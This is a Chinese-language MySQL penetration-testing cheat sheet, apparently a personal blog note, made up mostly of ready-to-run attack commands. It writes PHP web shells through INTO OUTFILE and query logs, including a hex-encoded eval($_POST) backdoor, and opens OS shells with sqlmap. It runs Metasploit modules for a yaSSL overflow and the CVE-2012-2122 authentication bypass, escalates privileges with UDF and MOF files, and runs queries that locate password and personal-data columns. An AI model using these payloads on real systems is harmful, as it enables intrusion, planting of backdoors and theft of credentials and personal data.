GetShell
into oufile 写 shell
- 知道网站物理路径
- 高权限数据库用户(root)
- secure_file_priv 无限制
- 网站路径有写入权限
查询是否 secure_file_priv 没有限制
1 | mysql> show global variables like '%secure_file_priv%'; |
Value | 说明 |
---|---|
NULL | 不允许导入或导出 |
/tmp | 只允许在 /tmp 目录导入导出 |
空 | 不限制目录 |
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
写shell
1 | select '<?php phpinfo(); ?>' into outfile '/var/www/html/1.php'; |
1 | select 1 into outfile 'F:/7788/evil.php' lines terminated by 0x3C3F70687020406576616C28245F504F53545B2767275D293B3F3E0D0A; |
sqlmap写shell
1 | sqlmap -u "http://baidu.com/?id=x" --file-write="D:\note\PentestDB\shell.php" --file-dest="/var/www/html/test/shell.php" |
sqlmap获取os-shell
1 | sqlmap -u "http://x.x.x.x/?id=x" --os-shell |
tips:除了outfile还有一个dumpfile 可以用来导出文件,dumpfile用来导出二进制文件(outfile会在行尾加\n)。
日志写shell
- 知道网站物理路径
- 高权限数据库用户(root)
- 网站路径有写入权限
1 | mysql> SHOW VARIABLES LIKE '%general%'; |
1 | #开启日志记录 |
慢日志写shell
- 知道网站物理路径
- 高权限数据库用户(root)
- 网站路径有写入权限
1 | mysql> SHOW VARIABLES LIKE '%slow_query_log%'; |
1 | #开启日志记录 |
Vuln
yaSSL 缓冲区溢出
Linux : MySQL 5.0.45-Debian_1ubuntu3.1-log
Windows : MySQL 5.0.45-community-nt
1 | msf6 > use exploit/windows/mysql/mysql_yassl_hello |
authbypass身份认证绕过
- MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
- MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
CVE-2012-2122
知道用户名多次输入错误的密码会有几率可以直接成功登陆进数据库,可以循环 1000 次登陆数据库:
1 | for i in `seq 1 1000`; do mysql -uroot -pwrong -h 127.0.0.1 -P3306 ; done |
msf dump hash
1 | msf6 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump |
Privilege Escalation
UDF提权
udf动态链接库文件获取
1 | sqlmap/data/udf/mysql |
sqlmap的库需要用自带的解码工具/extra/cloak/cloak.py 来解码
1 | # 查看当前目录情况 |
msf的可以直接使用
1 | MSF 根目录/embedded/framework/data/exploits/mysql |
tips:可用ida查看有哪些函数
该udf.dll导出的路径因MySQL版本不同而不同:
- 如果
MySQL<5.1
,udf.dll动态链接文件需要导出的路径为:Windows2003:c:\windows\system32 Windows2000:c:\winnt\system32。
- 如果
MySQL>=5.1
,必须要把udf.dll动态链接文件导出到MySQL的安装目录\lib\plugin目录
获取plugin路径
1 | mysql> show variables like '%plugin%'; |
获取mysql版本,确定 udf位数
1 | show variables like "%version%"; |
tips:windows系统如果目录不存在可以尝试使用NTFS流创建:
1 | select 'x' into dumpfile 'D:/phpstudy_pro/Extensions/MySQL5.7.26/lib::$INDEX_ALLOCATION'; |
1 | # 获取so十六进制 |
创建表写入
1 | create table my_udf_data(data LONGBLOB); |
创建函数执行命令
1 | CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; |
mof提权
老古董,不想写了
MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。
准备好mof文件,然后udf老套路导出即可
1 | pace("\.rootsubscription") |
Other
1 | select load_file('/var/lib/mysql-files/key.txt'); #Read file |
利用恶意mysql服务,读客户端文件
https://github.com/allyshka/Rogue-MySql-Server
注意某些lnmp的探针
可用的udf hex
https://www.sqlsec.com/tools/udf.html
xx库中所有字段名带 pass|pwd 的表
1 | select distinct table_name from information_schema.columns where table_schema="xx" and column_name like "%pass%" or column_name like "%pwd%" |
sqlmap 参数–-search也可以
xx 库中所有字段名带个人信息的表
1 | select distinct table_name from information_schema.columns where table_schema="xx" and column_name regexp "name|phone|mobile|certificate|number|email|addr|card|电话|地址|身份证|姓名" |